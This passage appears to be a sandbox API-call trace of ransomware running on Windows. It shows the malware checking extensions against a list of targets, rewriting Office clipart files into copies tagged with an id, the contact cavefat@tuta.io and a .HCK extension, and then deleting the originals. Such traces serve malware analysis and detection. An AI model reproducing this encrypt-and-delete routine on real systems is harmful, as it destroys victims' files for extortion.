Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF") returned 68 [0180.465] lstrlenW (lpString=".doc") returned 4 [0180.465] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.465] lstrlenW (lpString=".docx") returned 5 [0180.465] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.465] lstrlenW (lpString=".pdf") returned 4 [0180.465] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.465] lstrlenW (lpString=".xls") returned 4 [0180.465] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.465] lstrlenW (lpString=".xlsx") returned 5 [0180.465] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.465] lstrlenW (lpString=".ppt") returned 4 [0180.465] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF") returned 68 [0180.465] lstrlenW (lpString=".zip") returned 4 [0180.465] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.465] lstrlenW (lpString=".rar") returned 4 [0180.465] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.465] lstrlenW (lpString=".bz2") returned 4 [0180.465] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.465] lstrlenW (lpString=".7z") returned 3 [0180.465] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF") returned 68 [0180.465] lstrlenW (lpString=".dbf") returned 4 [0180.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF") returned 68 [0180.465] lstrlenW (lpString=".1cd") returned 4 [0180.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF") returned 68 [0180.465] lstrlenW (lpString=".jpg") returned 4 [0180.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF") returned 68 [0180.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF") returned 68 [0180.465] lstrlenW (lpString=".doc") returned 4 [0180.465] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.465] lstrlenW (lpString=".docx") returned 5 [0180.465] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.465] lstrlenW (lpString=".pdf") returned 4 [0180.465] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.465] lstrlenW (lpString=".xls") returned 4 [0180.465] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.465] lstrlenW (lpString=".xlsx") returned 5 [0180.465] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.465] lstrlenW (lpString=".ppt") returned 4 [0180.465] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF") returned 68 [0180.465] lstrlenW (lpString=".zip") returned 4 [0180.466] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.466] lstrlenW (lpString=".rar") returned 4 [0180.466] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.466] lstrlenW (lpString=".bz2") returned 4 [0180.466] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.466] lstrlenW (lpString=".7z") returned 3 [0180.466] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF") returned 68 [0180.466] lstrlenW (lpString=".dbf") returned 4 [0180.466] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF") returned 68 [0180.466] lstrlenW (lpString=".1cd") returned 4 [0180.466] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF") returned 68 [0180.466] lstrlenW (lpString=".jpg") returned 4 [0180.466] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.466] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.466] lstrlenW (lpString="SO00423_.WMF") returned 12 [0180.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00423_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.468] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5180) returned 1 [0180.468] CloseHandle (hObject=0x3a4) returned 1 [0180.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00423_.wmf")) returned 0x220 [0180.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00423_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00423_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.475] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.475] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00423_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.480] GetLastError () returned 0x0 [0180.480] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x143c, lpOverlapped=0x0) returned 1 [0180.481] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1440, lpOverlapped=0x0) returned 1 [0180.482] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.482] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.482] SetEndOfFile (hFile=0x300) returned 1 [0180.486] CloseHandle (hObject=0x300) returned 1 [0180.486] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.486] SetEndOfFile (hFile=0x368) returned 1 [0180.487] CloseHandle (hObject=0x368) returned 1 [0180.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00423_.wmf")) returned 1 [0180.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF") returned 68 [0180.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF") returned 68 [0180.490] lstrlenW (lpString=".doc") returned 4 [0180.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.490] lstrlenW (lpString=".docx") returned 5 [0180.490] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.490] lstrlenW (lpString=".pdf") returned 4 [0180.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.490] lstrlenW (lpString=".xls") returned 4 [0180.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.490] lstrlenW (lpString=".xlsx") returned 5 [0180.490] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.490] lstrlenW (lpString=".ppt") returned 4 [0180.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF") returned 68 [0180.490] lstrlenW (lpString=".zip") returned 4 [0180.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.490] lstrlenW (lpString=".rar") returned 4 [0180.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.490] lstrlenW (lpString=".bz2") returned 4 [0180.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.491] lstrlenW (lpString=".7z") returned 3 [0180.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF") returned 68 [0180.491] lstrlenW (lpString=".dbf") returned 4 [0180.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF") returned 68 [0180.491] lstrlenW (lpString=".1cd") returned 4 [0180.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF") returned 68 [0180.491] lstrlenW (lpString=".jpg") returned 4 [0180.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF") returned 68 [0180.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF") returned 68 [0180.491] lstrlenW (lpString=".doc") returned 4 [0180.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.491] lstrlenW (lpString=".docx") returned 5 [0180.491] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.491] lstrlenW (lpString=".pdf") returned 4 [0180.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.491] lstrlenW (lpString=".xls") returned 4 [0180.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.491] lstrlenW (lpString=".xlsx") returned 5 [0180.491] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.491] lstrlenW (lpString=".ppt") returned 4 [0180.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF") returned 68 [0180.491] lstrlenW (lpString=".zip") returned 4 [0180.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.491] lstrlenW (lpString=".rar") returned 4 [0180.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.491] lstrlenW (lpString=".bz2") returned 4 [0180.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.491] lstrlenW (lpString=".7z") returned 3 [0180.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF") returned 68 [0180.492] lstrlenW (lpString=".dbf") returned 4 [0180.492] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF") returned 68 [0180.492] lstrlenW (lpString=".1cd") returned 4 [0180.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF") returned 68 [0180.492] lstrlenW (lpString=".jpg") returned 4 [0180.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.492] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.492] lstrlenW (lpString="SO00454_.WMF") returned 12 [0180.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00454_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.494] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2924) returned 1 [0180.494] CloseHandle (hObject=0x3a4) returned 1 [0180.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00454_.wmf")) returned 0x220 [0180.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00454_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.502] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.502] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00454_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.506] GetLastError () returned 0x0 [0180.506] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xb6c, lpOverlapped=0x0) returned 1 [0180.509] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xb70, lpOverlapped=0x0) returned 1 [0180.510] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.510] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.510] SetEndOfFile (hFile=0x3a4) returned 1 [0180.512] CloseHandle (hObject=0x3a4) returned 1 [0180.514] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.514] SetEndOfFile (hFile=0x39c) returned 1 [0180.515] CloseHandle (hObject=0x39c) returned 1 [0180.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00454_.wmf")) returned 1 [0180.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF") returned 68 [0180.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF") returned 68 [0180.518] lstrlenW (lpString=".doc") returned 4 [0180.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.518] lstrlenW (lpString=".docx") returned 5 [0180.518] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.518] lstrlenW (lpString=".pdf") returned 4 [0180.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.518] lstrlenW (lpString=".xls") returned 4 [0180.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.518] lstrlenW (lpString=".xlsx") returned 5 [0180.518] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.518] lstrlenW (lpString=".ppt") returned 4 [0180.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF") returned 68 [0180.518] lstrlenW (lpString=".zip") returned 4 [0180.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.518] lstrlenW (lpString=".rar") returned 4 [0180.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.518] lstrlenW (lpString=".bz2") returned 4 [0180.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.518] lstrlenW (lpString=".7z") returned 3 [0180.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF") returned 68 [0180.518] lstrlenW (lpString=".dbf") returned 4 [0180.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF") returned 68 [0180.518] lstrlenW (lpString=".1cd") returned 4 [0180.518] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF") returned 68 [0180.518] lstrlenW (lpString=".jpg") returned 4 [0180.518] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF") returned 68 [0180.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF") returned 68 [0180.518] lstrlenW (lpString=".doc") returned 4 [0180.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.518] lstrlenW (lpString=".docx") returned 5 [0180.518] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.518] lstrlenW (lpString=".pdf") returned 4 [0180.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.518] lstrlenW (lpString=".xls") returned 4 [0180.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.519] lstrlenW (lpString=".xlsx") returned 5 [0180.519] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.519] lstrlenW (lpString=".ppt") returned 4 [0180.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF") returned 68 [0180.519] lstrlenW (lpString=".zip") returned 4 [0180.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.519] lstrlenW (lpString=".rar") returned 4 [0180.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.519] lstrlenW (lpString=".bz2") returned 4 [0180.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.519] lstrlenW (lpString=".7z") returned 3 [0180.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF") returned 68 [0180.519] lstrlenW (lpString=".dbf") returned 4 [0180.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF") returned 68 [0180.519] lstrlenW (lpString=".1cd") returned 4 [0180.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF") returned 68 [0180.519] lstrlenW (lpString=".jpg") returned 4 [0180.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.519] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.519] lstrlenW (lpString="SO00483_.WMF") returned 12 [0180.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00483_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.522] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=11192) returned 1 [0180.522] CloseHandle (hObject=0x2fc) returned 1 [0180.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00483_.wmf")) returned 0x220 [0180.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00483_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00483_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.526] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.526] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00483_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.529] GetLastError () returned 0x0 [0180.529] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2bb8, lpOverlapped=0x0) returned 1 [0180.531] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0180.532] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.532] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.532] SetEndOfFile (hFile=0x370) returned 1 [0180.538] CloseHandle (hObject=0x370) returned 1 [0180.539] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.539] SetEndOfFile (hFile=0x3a4) returned 1 [0180.541] CloseHandle (hObject=0x3a4) returned 1 [0180.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00483_.wmf")) returned 1 [0180.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF") returned 68 [0180.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF") returned 68 [0180.542] lstrlenW (lpString=".doc") returned 4 [0180.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.542] lstrlenW (lpString=".docx") returned 5 [0180.542] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.542] lstrlenW (lpString=".pdf") returned 4 [0180.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.542] 